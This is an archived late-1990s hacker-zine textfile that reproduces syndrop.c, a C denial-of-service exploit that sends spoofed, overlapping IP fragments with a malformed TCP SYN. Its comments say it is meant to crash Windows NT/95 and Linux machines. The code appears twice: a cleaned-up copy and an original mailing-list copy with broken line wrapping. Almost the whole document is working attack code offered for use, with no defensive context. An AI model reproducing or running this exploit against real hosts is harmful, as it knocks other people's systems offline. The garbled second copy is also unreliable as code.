home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / syndrop.c < prev    next >
Text File  |  1998-12-09  |  17KB  |  532 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. Here is a cleaned up version of syndrop.c.  The original version with hosed
  5. formatting is included at the bottom.
  6.  
  7. -- cut here --
  8.  
  9. /*  syndrop.c
  10.  *  by PineKoan
  11.  *  stomp on M$ SYN sequence bug and the teardrop frag fuckup at same time!
  12.  *  tcp instead of udp
  13.  *
  14.  *  based on: Newtear.c
  15.  *  which was: Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
  16.  *  Linux/NT/95 Overlap frag bug exploit
  17.  *  which was: Based off of:   flip.c by klepto
  18.  *
  19.  *  Compiles on:    Linux, *BSD*
  20.  *  gcc -O2 teardrop.c -o teardrop
  21.  *      OR
  22.  *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
  23.  */
  24.  
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27. #include <unistd.h>
  28. #include <string.h>
  29. #include <netdb.h>
  30. #include <netinet/in.h>
  31. #include <netinet/udp.h>
  32. #include <netinet/tcp.h>
  33. #include <arpa/inet.h>
  34. #include <sys/types.h>
  35. #include <sys/time.h>
  36. #include <sys/socket.h>
  37.  
  38. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  39.             /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi <3.0 */
  40. #define FIX(n)  (n)
  41. #else /* OpenBSD 2.1, all Linux */
  42. #define FIX(n)  htons(n)
  43. #endif /* STRANGE_BSD_BYTE_ORDERING_THING */
  44.  
  45. #define IP_MF   0x2000        /* More IP fragment en route */
  46. #define IPH     0x14        /* IP header size */
  47. #define UDPH    0x8        /* UDP header size */
  48. #define TCPH    sizeof(struct tcphdr)    /* TCP header */
  49. #define PADDING 0x14        /* datagram frame padding for first packet */
  50.             /* JD Change pad size to 20 decimal. */
  51. #define MAGIC   0x3        /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  52. #define COUNT   0x11        /* Linux dies with 1, NT is more stalwart and can
  53.                    * withstand maybe 5 or 10 sometimes...  Experiment.
  54.                    * syndrop: gotta hit it at least 8 times. overflowing
  55.                    * some static sized buffer.  fools.
  56.                  */
  57. void usage (u_char *);
  58. u_long name_resolve (u_char *);
  59. u_short in_cksum (u_short *, int);
  60. void send_frags (int, u_long, u_long, u_short, u_short, u_long, u_long);
  61.  
  62. int 
  63. main (int argc, char **argv)
  64. {
  65.   int one = 1, count = 0, i, rip_sock;
  66.   u_long src_ip = 0, dst_ip = 0;
  67.   u_short src_prt = 0, dst_prt = 0;
  68.   u_long s_start = 0, s_end = 0;
  69.   struct in_addr addr;
  70.  
  71.   fprintf (stderr, "syndrop by PineKoan\n");
  72.  
  73.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  74.     {
  75.       perror ("raw socket");
  76.       exit (1);
  77.     }
  78.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
  79.     {
  80.       perror ("IP_HDRINCL");
  81.       exit (1);
  82.     }
  83.   if (argc < 3)
  84.     usage (argv[0]);
  85.   if (!(src_ip = name_resolve (argv[1])) || !(dst_ip = name_resolve (argv[2])))
  86.     {
  87.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  88.       exit (1);
  89.     }
  90.  
  91.   while ((i = getopt (argc, argv, "s:t:n:S:E:")) != EOF)
  92.     {
  93.       switch (i)
  94.     {
  95.     case 's':        /* source port (should be emphemeral) */
  96.       src_prt = (u_short) atoi (optarg);
  97.       break;
  98.     case 't':        /* dest port (DNS, anyone?) */
  99.       dst_prt = (u_short) atoi (optarg);
  100.       break;
  101.     case 'n':        /* number to send */
  102.       count = atoi (optarg);
  103.       break;
  104.     case 'S':        /* SYN sequence start */
  105.       s_start = atoi (optarg);
  106.       break;
  107.     case 'E':        /* SYN sequence end */
  108.       s_end = atoi (optarg);
  109.       break;
  110.     default:
  111.       usage (argv[0]);
  112.       break;        /* NOTREACHED */
  113.     }
  114.     }
  115.   srandom ((unsigned) (time ((time_t) 0)));
  116.   if (!src_prt)
  117.     src_prt = (random () % 0xffff);
  118.   if (!dst_prt)
  119.     dst_prt = (random () % 0xffff);
  120.   if (!count)
  121.     count = COUNT;
  122.  
  123.   fprintf (stderr, "Death on flaxen wings:\n");
  124.   addr.s_addr = src_ip;
  125.   fprintf (stderr, "From: %15s.%5d\n", inet_ntoa (addr), src_prt);
  126.   addr.s_addr = dst_ip;
  127.   fprintf (stderr, "  To: %15s.%5d\n", inet_ntoa (addr), dst_prt);
  128.   fprintf (stderr, " Amt: %5d\n", count);
  129.   fprintf (stderr, "[ ");
  130.   for (i = 0; i < count; i++)
  131.     {
  132.       send_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
  133.       fprintf (stderr, "b00m ");
  134.       usleep (500);
  135.     }
  136.   fprintf (stderr, "]\n");
  137.   return (0);
  138. }
  139.  
  140. /*
  141.  *  Send two IP fragments with pathological offsets.  We use an implementation
  142.  *  independent way of assembling network packets that does not rely on any of
  143.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  144.  */
  145.  
  146. void 
  147. send_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
  148. {
  149.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  150.   u_char byte;            /* a byte */
  151.   struct sockaddr_in sin;    /* socket protocol structure */
  152.  
  153.   sin.sin_family = AF_INET;
  154.   sin.sin_port = src_prt;
  155.   sin.sin_addr.s_addr = dst_ip;
  156.  
  157.   /*
  158.    * Grab some memory for our packet, align p_ptr to point at the beginning
  159.    * of our packet, and then fill it with zeros.
  160.    */
  161.   packet = (u_char *) malloc (IPH + UDPH + PADDING);
  162.   p_ptr = packet;
  163.   bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);    /* Set it all to zero */
  164.  
  165.   byte = 0x45;            /* IP version and header length */
  166.   memcpy (p_ptr, &byte, sizeof (u_char));
  167.   p_ptr += 2;            /* IP TOS (skipped) */
  168.   *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);    /* total length */
  169.   p_ptr += 2;
  170.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  171.   p_ptr += 2;
  172.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  173.   p_ptr += 2;
  174.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  175.   byte = IPPROTO_TCP;
  176.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  177.   p_ptr += 4;            /* IP checksum filled in by kernel */
  178.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  179.   p_ptr += 4;
  180.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  181.   p_ptr += 4;
  182.   *((u_short *) p_ptr) = htons (src_prt);    /* TCP source port */
  183.   p_ptr += 2;
  184.   *((u_short *) p_ptr) = htons (dst_prt);    /* TCP destination port */
  185.   p_ptr += 2;
  186.   *((u_long *) p_ptr) = seq1;    /* TCP sequence # */
  187.   p_ptr += 4;
  188.   *((u_long *) p_ptr) = 0;    /* ack */
  189.   p_ptr += 4;
  190.   *((u_short *) p_ptr) = htons (8 + PADDING * 2);    /* TCP data offset */
  191.   /* Increases TCP total length to 48 bytes Which is too big! */
  192.   p_ptr += 2;
  193.   *((u_char *) p_ptr) = TH_SYN;    /* flags: mark SYN */
  194.   p_ptr += 1;
  195.   *((u_short *) p_ptr) = seq2 - seq1;    /* window */
  196.   *((u_short *) p_ptr) = 0x44;    /* checksum : this is magic value for NT, W95.  dissasemble M$ C++ to see why, if you have time  */
  197.   *((u_short *) p_ptr) = 0;    /* urgent */
  198.  
  199.   if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
  200.           sizeof (struct sockaddr)) == -1)
  201.     {
  202.       perror ("\nsendto");
  203.       free (packet);
  204.       exit (1);
  205.     }
  206.  
  207.   /*  We set the fragment offset to be inside of the previous packet's
  208.    *  payload (it overlaps inside the previous packet) but do not include
  209.    *  enough payload to cover complete the datagram.  Just the header will
  210.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  211.    *  better.
  212.    */
  213.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  214.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  215.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  216.   *((u_short *) p_ptr) = FIX (MAGIC);
  217.   p_ptr = &packet[24];        /* hop in to the sequence again... */
  218.   *((u_long *) p_ptr) = seq2;    /* TCP sequence # */
  219.  
  220.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
  221.     {
  222.       perror ("\nsendto");
  223.       free (packet);
  224.       exit (1);
  225.     }
  226.   free (packet);
  227. }
  228.  
  229. u_long 
  230. name_resolve (u_char * host_name)
  231. {
  232.   struct in_addr addr;
  233.   struct hostent *host_ent;
  234.  
  235.   if ((addr.s_addr = inet_addr (host_name)) == -1)
  236.     {
  237.       if (!(host_ent = gethostbyname (host_name)))
  238.     return (0);
  239.       bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  240.     }
  241.   return (addr.s_addr);
  242. }
  243.  
  244. void 
  245. usage (u_char * name)
  246. {
  247.   fprintf (stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]", name);
  248.   fprintf (stderr, "[ -S sequence_start] [ -E sequence_end ]\n");
  249.   exit (0);
  250. }
  251.  
  252.  
  253. -- cut here --
  254.  
  255. -------------------------------------------------------------------------
  256.  
  257. Date:         Thu, 2 Apr 1998 15:46:36 GMT
  258. From:         bluefish@SWIPNET.SE
  259. Subject:      DOS: Teardrop mixed with a SYN - syndrop.c
  260.  
  261. Found this in the alt.2600 ng...
  262.  
  263. /*  syndrop.c
  264.  *  by PineKoan
  265.  *  stomp on M$ SYN sequence bug and the teardrop frag fuckup at same time!
  266.  *  tcp instead of udp
  267.  *
  268.  *  based on: Newtear.c
  269.  *  which was: Copyright (c) 1997 route|daemon9  <route@infonexus.com>
  270. 11.3.97
  271.  *  Linux/NT/95 Overlap frag bug exploit
  272.  *  which was: Based off of:   flip.c by klepto
  273.  *
  274.  *  Compiles on:    Linux, *BSD*
  275.  *  gcc -O2 teardrop.c -o teardrop
  276.  *      OR
  277.  *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
  278.  */
  279.  
  280. #include <stdio.h>
  281. #include <stdlib.h>
  282. #include <unistd.h>
  283. #include <string.h>
  284. #include <netdb.h>
  285. #include <netinet/in.h>
  286. #include <netinet/udp.h>
  287. #include <netinet/tcp.h>
  288. #include <arpa/inet.h>
  289. #include <sys/types.h>
  290. #include <sys/time.h>
  291. #include <sys/socket.h>
  292.  
  293. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  294.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0
  295. */
  296. #define FIX(n)  (n)
  297. #else                   /* OpenBSD 2.1, all Linux */
  298. #define FIX(n)  htons(n)
  299. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  300.  
  301. #define IP_MF   0x2000  /* More IP fragment en route */
  302. #define IPH     0x14    /* IP header size */
  303. #define UDPH    0x8     /* UDP header size */
  304. #define TCPH    sizeof(struct tcphdr)   /* TCP header */
  305. #define PADDING 0x14    /* datagram frame padding for first packet */ /* JD
  306. Chan
  307. ge pad size to 20 decimal. */
  308. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  309. #define COUNT   0x11     /* Linux dies with 1, NT is more stalwart and can
  310.                          * withstand maybe 5 or 10 sometimes...  Experiment.
  311.                          * syndrop: gotta hit it at least 8 times.
  312. overflowing
  313.                          * some static sized buffer.  fools.
  314.                          */
  315. void usage(u_char *);
  316. u_long name_resolve(u_char *);
  317. u_short in_cksum(u_short *, int);
  318. void send_frags(int, u_long, u_long, u_short, u_short, u_long, u_long);
  319.  
  320. int main(int argc, char **argv)
  321. {
  322.     int one = 1, count = 0, i, rip_sock;
  323.     u_long  src_ip = 0, dst_ip = 0;
  324.     u_short src_prt = 0, dst_prt = 0;
  325.     u_long s_start = 0, s_end = 0;
  326.     struct in_addr addr;
  327.  
  328.     fprintf(stderr, "syndrop by PineKoan\n");
  329.  
  330.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  331.     {
  332.         perror("raw socket");
  333.         exit(1);
  334.     }
  335.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
  336. sizeof(one))
  337.         < 0)
  338.     {
  339.         perror("IP_HDRINCL");
  340.         exit(1);
  341.     }
  342.     if (argc < 3) usage(argv[0]);
  343.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip =
  344. name_resolve(argv[2])))
  345.     {
  346.         fprintf(stderr, "What the hell kind of IP address is that?\n");
  347.         exit(1);
  348.     }
  349.  
  350.     while ((i = getopt(argc, argv, "s:t:n:S:E:")) != EOF)
  351.     {
  352.         switch (i)
  353.         {
  354.             case 's':               /* source port (should be emphemeral) */
  355.                 src_prt = (u_short)atoi(optarg);
  356.                 break;
  357.             case 't':               /* dest port (DNS, anyone?) */
  358.                 dst_prt = (u_short)atoi(optarg);
  359.                 break;
  360.             case 'n':               /* number to send */
  361.                 count   = atoi(optarg);
  362.                 break;
  363.             case 'S':               /* SYN sequence start */
  364.                 s_start   = atoi(optarg);
  365.                 break;
  366.             case 'E':               /* SYN sequence end */
  367.                 s_end   = atoi(optarg);
  368.                 break;
  369.             default :
  370.                 usage(argv[0]);
  371.                 break;              /* NOTREACHED */
  372.         }
  373.     }
  374.     srandom((unsigned)(time((time_t)0)));
  375.     if (!src_prt) src_prt = (random() % 0xffff);
  376.     if (!dst_prt) dst_prt = (random() % 0xffff);
  377.     if (!count)   count   = COUNT;
  378.  
  379.     fprintf(stderr, "Death on flaxen wings:\n");
  380.     addr.s_addr = src_ip;
  381.     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  382.     addr.s_addr = dst_ip;
  383.     fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  384.     fprintf(stderr, " Amt: %5d\n", count);
  385.     fprintf(stderr, "[ ");
  386.     for (i = 0; i < count; i++)
  387.     {
  388.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start,
  389. s_end);
  390.         fprintf(stderr, "b00m ");
  391.         usleep(500);
  392.     }
  393.     fprintf(stderr, "]\n");
  394.     return (0);
  395. }
  396.  
  397. /*
  398.  *  Send two IP fragments with pathological offsets.  We use an
  399. implementation
  400.  *  independent way of assembling network packets that does not rely on any
  401. of
  402.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  403.  */
  404. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  405.                 u_short dst_prt, u_long seq1, u_long seq2)
  406. {
  407.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  408.     u_char byte;                            /* a byte */
  409.     struct sockaddr_in sin;                 /* socket protocol structure */
  410.  
  411.     sin.sin_family      = AF_INET;
  412.     sin.sin_port        = src_prt;
  413.     sin.sin_addr.s_addr = dst_ip;
  414.  
  415.     /*
  416.      * Grab some memory for our packet, align p_ptr to point at the beginning
  417.      * of our packet, and then fill it with zeros.
  418.      */
  419.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
  420.     p_ptr  = packet;
  421.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
  422.  
  423.     byte = 0x45;                        /* IP version and header length */
  424.     memcpy(p_ptr, &byte, sizeof(u_char));
  425.     p_ptr += 2;                         /* IP TOS (skipped) */
  426.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
  427.     p_ptr += 2;
  428.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  429.     p_ptr += 2;
  430.     *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  431.     p_ptr += 2;
  432.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  433.     byte = IPPROTO_TCP;
  434.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  435.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  436.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  437.     p_ptr += 4;
  438.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  439.     p_ptr += 4;
  440.     *((u_short *)p_ptr) = htons(src_prt);       /* TCP source port */
  441.     p_ptr += 2;
  442.     *((u_short *)p_ptr) = htons(dst_prt);       /* TCP destination port */
  443.     p_ptr += 2;
  444.     *((u_long *)p_ptr) = seq1;          /* TCP sequence # */
  445.     p_ptr += 4;
  446.     *((u_long *)p_ptr) = 0;             /* ack */
  447.     p_ptr += 4;
  448.     *((u_short *)p_ptr) = htons(8 + PADDING*2);   /* TCP data offset */ /*
  449. Incre
  450. ases TCP total length to 48 bytes Which is too big! */
  451.     p_ptr += 2;
  452.     *((u_char *)p_ptr) = TH_SYN;        /* flags: mark SYN */
  453.     p_ptr += 1;
  454.     *((u_short *)p_ptr) = seq2-seq1;    /* window */
  455.     *((u_short *)p_ptr) = 0x44          /* checksum : this is magic value for
  456. NT
  457. , W95.  dissasemble M$ C++ to see why, if you have time  */
  458.     *((u_short *)p_ptr) = 0;            /* urgent */
  459.  
  460.     if (sendto(sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr
  461. *)&sin,
  462.                 sizeof(struct sockaddr)) == -1)
  463.     {
  464.         perror("\nsendto");
  465.         free(packet);
  466.         exit(1);
  467.     }
  468.  
  469.     /*  We set the fragment offset to be inside of the previous packet's
  470.      *  payload (it overlaps inside the previous packet) but do not include
  471.      *  enough payload to cover complete the datagram.  Just the header will
  472.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  473.      *  better.
  474.      */
  475.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header
  476. */
  477.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  478.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
  479.     *((u_short *)p_ptr) = FIX(MAGIC);
  480.     p_ptr = &packet[24];        /* hop in to the sequence again... */
  481.     *((u_long *)p_ptr) = seq2;          /* TCP sequence # */
  482.  
  483.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
  484.                 sizeof(struct sockaddr)) == -1)
  485.     {
  486.         perror("\nsendto");
  487.         free(packet);
  488.         exit(1);
  489.     }
  490.     free(packet);
  491. }
  492.  
  493. u_long name_resolve(u_char *host_name)
  494. {
  495.     struct in_addr addr;
  496.     struct hostent *host_ent;
  497.  
  498.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  499.     {
  500.         if (!(host_ent = gethostbyname(host_name))) return (0);
  501.         bcopy(host_ent->h_addr, (char *)&addr.s_addr,
  502. host_ent->h_length)
  503. ;
  504.     }
  505.     return (addr.s_addr);
  506. }
  507.  
  508. void usage(u_char *name)
  509. {
  510.     fprintf(stderr,
  511.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]
  512. ",
  513.             name);
  514.     fprintf(stderr,
  515.             "[ -S sequence_start] [ -E sequence_end ]\n",
  516.     exit(0);
  517. }
  518.  
  519.  
  520.  
  521.  
  522.  
  523. Bluefish!
  524.  
  525.  Icq: 611251
  526.  http://11a.home.ml.org
  527.  http://bluefish.home.ml.org
  528.  
  529.  Proud member of the #SkAS#:
  530.  Skuld Appreciation Society - the Goddess of Debuggers!
  531.  http://www.luc.ac.be/~ef00/skas
  532.